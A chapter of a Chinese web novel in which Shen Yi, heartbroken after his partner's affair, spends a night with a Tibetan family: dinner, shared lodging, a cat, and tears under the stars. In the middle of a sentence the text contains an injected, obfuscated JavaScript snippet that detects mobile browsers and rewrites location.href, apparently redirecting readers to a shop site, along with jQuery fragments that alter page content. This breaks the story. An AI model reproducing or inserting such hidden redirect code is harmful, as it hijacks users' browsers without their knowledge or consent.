这种直来直去的相处方式，在以前的社交圈里几乎绝迹。大家说话总要绕几个弯，揣摩几分深意，累得慌。
“你家很好。”他认真地说，“我很满意。”
德吉次仁盯着他看了几秒，像是要确认这话的真伪。然后她肩膀一松，整个人靠回椅背：“说实话，我挺怕你不习惯的。农村嘛，再怎么收拾也……”
“没有的事。”沈翊打断她，“很干净。而且能近距离体验你们的生活，这种机会不是谁都有的。”
这话是发自肺腑。来西藏之前，他以为的“旅行”是住标准化酒店、按攻略打卡景点、拍些照片来证明“我来过”的证据。但现在，坐在这个炉火旺盛的屋子里，听着听不懂的藏语对话，闻着混合了酥油、牛粪和草药的特殊气味、这才是真正的“体验”，粗糙、真实、不设防。
德吉次仁苦笑了一下：“我本来还担心你接受不了我们一些……嗯，看上去奇怪的习俗。这下好了，你要亲自体会了。”
又是“奇怪”这个词。
沈翊想起尼玛旺堆在车上也说过类似的话，关于山泉水的味道，关于水里的血腥味。为什么他们总用这个词形容自己的文化？
“我接受度很高。”沈翊说。
德吉次仁没接话，只是叹了口气，那表情像是在说：年轻人，话别说太满哦。
尼玛旺堆抱着一袋面粉从里屋出来，递给姐姐。德吉次仁一见面粉，立刻像被烫到一样弹起来，连连摆手：
“别别别，这个我不行。”
她逃也似的回到火炉边，把战场留给弟弟。
尼玛旺堆笑着摇摇头，开始和面。他动作熟练，手指修长有力，在面粉堆里翻搅、揉捏，白絮沾在深色的手背上，形成鲜明的对比。
“我阿姐有时候说话……”他边揉面边解释，斟酌着用词，“比较直接。你当她自言自语就好。”
沈翊心想，这哪里是“直接”，分明是锋利得像藏刀。但他喜欢这种锋利——至少真实。
阿妈米玛啦不知何时出去了，这会儿抱着几块晒干的牛粪块回来，放进火炉前的铁盒里。她拍了拍手，从尼玛旺堆手里接过茶壶，又给沈翊续了满满一碗。
“谢谢。”沈翊双手接过。这次他学乖了，先小口试探温度。
酥油茶还是烫，但已不像第一碗那样难以入口。咸味、奶味、茶味在口腔里混合成一种复杂的滋味，像这片土地给人的感觉，乍看粗粝，细品却层次丰富。
“你每天都这么忙吗？”沈翊看着尼玛旺堆忙碌的身影，随口问道。
尼玛旺堆把和好的面团放在案板上，擦了擦手：“这几天还好。过阵子要去市里打工，那时候才真叫忙。”
“打工？不在这里？”
“嗯，在市里。”尼玛旺堆语气平静，但沈翊听出了一丝不易察觉的无奈。
他没再追问。家家有本难念的经，这个道理他懂。
“需要帮忙吗？”沈翊站起来，“做饭什么的，我虽然不擅长，但打下手还行。”
尼玛旺堆愣了一下，随即笑了：“不用。今天做‘藏式肉包’，很快就好。”
“藏式肉饼？”
“就是……类似饺子的东西。”尼玛旺堆用沾着面粉的手挠了挠脖子，那个小动作透出几分属于他这个年纪的腼腆，“藏语叫‘夏嬷嬷’这个，你也许可能会觉得名字怪。”
沈翊不觉得怪。他甚至觉得“夏嬷嬷”这个词有种可爱的笨拙感，像小孩子给心爱玩具起的名字。
接下来的两个小时，沈翊见到了一个藏族家庭日常的运作。
尼玛旺堆负责和面、调馅、包“藏式肉包”，那手法快得让人眼花缭乱，一个个饱满的面团在他手里诞生，整整齐齐地码在蒸屉上。德吉次仁负责照看炉火，添柴、控制火候，偶尔用藏语和弟弟斗几句嘴。阿妈米玛啦则从里屋搬出一个大铜盆，里面装满了银光闪闪的碗。她坐在火炉边，用软布仔细擦拭每一个碗，神情专注得像在完成某种仪式。
“这些碗是做什么用的？”沈翊小声问尼玛旺堆。
“供佛的。”尼玛旺堆头也不抬对他说：“每天早上装净水，下午倒掉擦干净，第二天再装。循环往复。”
沈翊点点头。他不懂佛教的东西，但能从阿妈米玛啦的动作里感受到那种虔诚，不是为了祈求什么，而是一种日常的、如同呼吸般的习惯。
电视里还在播放动物世界。角马群终于渡过了鳄鱼潜伏的河流，开始向新的草原迁徙。德吉次仁盯着屏幕看了一会儿，忽然用藏语对尼玛旺堆说了句什么。
尼玛旺堆手里的动作顿了顿。他没抬头，而是掏出手机，以最快的速度结束做饭的工作。然后去洗手，回来后点开游戏。电子游戏的音效在安静的屋子里显得格外突兀。
德吉次仁白了他一眼，放下手里的柴火，走过去在他额头上不轻不重地敲了一下。尼玛旺堆缩了缩脖子，没躲，只是把游戏声音关小了。
那种亲昵的、只有家人之间才有的互动，让沈翊心里某个角落微微发酸。
“有兄弟姐妹……是什么感觉？”他问，声音比预想的要轻。
德吉次仁转过头，眼神里闪过一丝惊讶：“你是独生子？”
沈翊点头。
德吉次仁沉默了几秒，左手不自觉地搓了搓脖子，沈翊发现这是她思考时的小动作。
“还行吧。”她说，“就是得时刻操心。怕他走弯路，怕他被人欺负，怕他过得不好。”
尼玛旺堆插嘴：“我觉得很好。天塌下来，还有一个人替我顶着。”
“那是你觉得！”德吉次仁瞪他，“我每天都快被你气死了。”
话是这么说，但她眼里带着笑。那种笑里有关切，有无奈，还有很深很深的、属于血缘的羁绊。
沈翊看着他们，由衷地说：“真羡慕你们。”
“羡慕什么？”德吉次仁摇头，“人人都羡慕自己没有的东西。我们还羡慕你们独生子呢，不用替谁操心，自
由自在。”
这话沈翊听过很多次。在以前工作的地方，那些有兄弟姐妹的朋友也常这么说。但此刻从德吉次仁嘴里说出来，他听出了不一样的东西。不是客套，是真正的、经过思考后的结论。
她掀开锅盖看了看：“好了，吃饭。”
晚餐很简单：蒸好的“瞎摸”，一大盆骨头汤，还有阿妈米玛啦下午切的生牛肉，其中有一部分被炒过一遍。
但吃饭的阵仗一点也不简单。
尼玛旺堆摆好碗筷，阿妈米玛啦就一个劲往沈翊盘子里夹“藏式肉包”。那种食物确实像饺子，但皮更厚，馅是纯牛肉，咬下去汁水丰盈，带着高原特有的粗犷风味。
沈翊吃了五个就饱了。但当他放下筷子，阿妈米玛啦立刻又夹了两个过来，用生硬的汉语说：“吃，瘦。”
尼玛旺堆笑着翻译：“阿妈说你太瘦了，一看就是不好好吃饭。”
沈翊只好硬着头皮继续吃。最后他吃了整整两碟，还喝了一大碗汤，撑得几乎站不起来。
尼玛旺堆开了一壶青稞酒，自己倒了一碗，又示意沈翊。沈翊摆摆手：“实在喝不下了，明天吧。”
阿妈米玛啦看着他，又说了句藏语。尼玛旺堆翻译：“阿妈说，你这样的孩子，在我们这儿是要被当成宝贝养的。”
沈翊愣了一下，耳根有些发烫。他低下头，小口小口地喝汤，心里那点因为吃撑而生的怨气，忽然就烟消云散了。
原来被当成“孩子”宠着，是这样的感觉。
他已经很久没体验过了。
睡觉前，尼玛旺堆带沈翊选房间。家里空屋子确实多，但大多没有取暖设备。高原的夜晚冷得彻骨，沈翊想了想，说：“我是跟你住一间吗？”
他说这话时其实有点忐忑，会不会太唐突？会不会显得自己太娇气？
但尼玛旺堆很自然地点头：“好啊。我房间大，再加一个人也够。”
房间确实不小，但三面墙都被书架占满了。书很杂，有藏文教材，汉语小说，还有不少看起来像佛.经的册子。床不是传统意义上的床，更像一个宽大的榻榻米，上面铺着厚厚的羊毛垫子。
尼玛旺堆从柜子里拿出单独被真空压缩袋收纳的干净的床上三件套，仔细铺好。他又抱来一床极其厚重的羊毛被，压在沈翊的被子上。
“晚上冷，你盖这个。”他说，“要是还冷，就叫醒我，我再给你加。”
沈翊试着抬了抬那床被子，真的非常重，压在身上估计翻身都困难。
“我怕我会热死。”他半开玩笑地说。
尼玛旺堆抬起头，表情很认真：“不会的。高原的冷，和内地的冷不一样。那是能冻到骨头里的冷。”
这时德吉次仁端着一个冒着烟的香炉进来，交给尼玛旺堆。尼玛旺堆接过去，先在沈翊的被窝里放了五分钟，又拿出来放进自己的被窝，最后把香炉端回客厅。
屋子里弥漫开一种奇异的香气，混合了草药和香料，闻着让人心神安定。
“睡吧。”尼玛旺堆说，“明天见。”
他钻进被窝，没过几分钟，就传来均匀的呼吸声，居然这么快就睡着了。
沈翊躺在陌生的被窝里，听着床头对面均匀的呼吸，一时有些恍惚。
二十四小时前，他还在北京那间充满背叛记忆的公寓里，抽着烟，思考着如何体面地毁掉自己的生活。二十四
小时后，他躺在西藏一个农家院的房间里，盖着厚重的羊毛被，听着一个刚认识一天的藏族青年的呼吸声。
命运这东西，真是荒诞得让人想笑。
他侧过头，看向窗外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182978|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
然后呼吸一滞。
那是他从未见过的星空。
在北京，夜晚的天空是暗红色的，被霓虹灯染成一片暧昧的光雾。偶尔能看见几颗最亮的星，像不小心溅上去的白漆点。
但在这里，天空是纯净的墨黑色。星星不是一颗一颗，而是一片一片，密密麻麻，挤满了整个视野。有些星星亮得惊人，仿佛伸手就能摘到。
沈翊摸出手机，想拍下来。但镜头里只有一片漆黑，手机的像素捕捉不到这种极致的美。
有些东西，注定只能存在于亲眼所见的记忆里。
就像有些痛苦，注定只能由亲身经历的人来消化。
江泽的脸忽然浮现在脑海里。不是出轨时那张狰狞的脸，而是他们刚在一起时，那个笑着说他“理性得可爱”的江泽。那时候他们挤在出租屋的小床上，江泽说：“沈翊，我们要一直在一起，等老了，就找个能看到星星的地方住。”
现在他看到了星星。
但许诺要一起看星星的人，已经躺在了别人的怀里。
沈翊把手臂搭在眼睛上。黑暗中，他能感觉到温热的液体渗进衣袖。
他以为自己在机场没哭，在客厅没哭，在飞机上没哭，就真的已经放下了。
原来没有。
疼痛只是迟到了，但它终归会来，在你最没有防备的时候，给你温柔一刀。
“这是我的错吗？”江泽的声音在耳边回响，带着愤怒和委屈，“你每天都在加班！你给过我什么？！”
也许真是他的错。也许他真的不够好，不懂浪漫，不会表达，把所有的爱都藏在理性克制的表象下，最终冻死了那段感情。
沈翊擦掉眼泪，深吸一口气。
不，不是这样的。
出轨就是出轨。不爱了可以分手，可以坦白，但不可以背叛。这是底线，无关对错，无关谁付出多谁付出少。
他反复告诉自己这句话，像念一句咒语。
但心里那个小小的声音还在问：那你现在在担心什么？担心他过得不好？担心他会被那个人伤害？
不是担心。
是习惯。
七年养成的习惯，要戒掉，需要时间。
他允许自己今晚软弱一次。仅此一次。
“喵~”
一声猫叫打断了他的思绪。
沈翊抬起头，借着手机屏幕的光，看见门口蹲着一只灰白相间的猫。那猫有一双金黄的眼睛，在黑暗里亮得像
两盏小灯笼。
它看了沈翊一眼，眼神里充满审视，带着一种“你谁啊凭什么在我家”的高傲。
然后它轻盈地跳上尼玛旺堆的床，在床尾转了几圈，找到一个舒服的位置，蜷成一团，闭上了眼睛。
整个过程行云流水，理所当然。
沈翊看着它，忽然笑了。
这猫和这家人真像，不跟你客气，不跟你寒暄，想做什么就做，但那份亲近又是实实在在的。
他关掉手机，重新躺下。
黑暗里，传来猫咪轻微的呼噜声，还有尼玛旺堆均匀的呼吸声。两种声音交织在一起，像一首奇异的安眠曲。
沈翊闭上眼。
窗外，星光流淌。
屋内，两个陌生人，一只猫，共享着同一片温暖的黑暗。
他忽然觉得，也许明天醒来，一切都会好一点。
哪怕只好一点点。
也够了。
清晨是被鸡鸣叫醒的。
沈翊迷迷糊糊睁开眼，有那么几秒钟的茫然。这是哪儿？为什么天花板是木头的？为什么这么冷？
然后记忆回笼。
他坐起身，发现对面的铺位已经空了。尼玛旺堆的被子叠得整整齐齐，方方正正，像军营里出来的。
正要下床，大腿边传来一阵毛茸茸的触感。
沈翊掀开被子。
那只灰白猫正蜷在他腿边，睡得正香。听见动静，它不耐烦地睁开一只眼，瞥了沈翊一眼，又闭上了。那表情
仿佛在说：吵什么吵，没看见朕在睡觉吗？
沈翊愣住。
昨晚那个高冷得连正眼都不给一个的猫呢？
怎么睡了一觉，就自动跑到他被窝里来了？
他坐在床边，看着那只毫无防备的猫，又看看窗外渐渐亮起来的天光。
院子里传来尼玛旺堆打水的声音，阿妈米玛啦低声诵经的声音，远处不知谁家的狗叫了两声。
新的一天开始了。
在这个离北京三千多公里、离过去二十七年的生活三千公里的地方。
沈翊伸出手，轻轻摸了摸猫的脑袋。
猫没躲，只是喉咙里发出更响的呼噜声。
他笑了。
也许，真的会好起来的。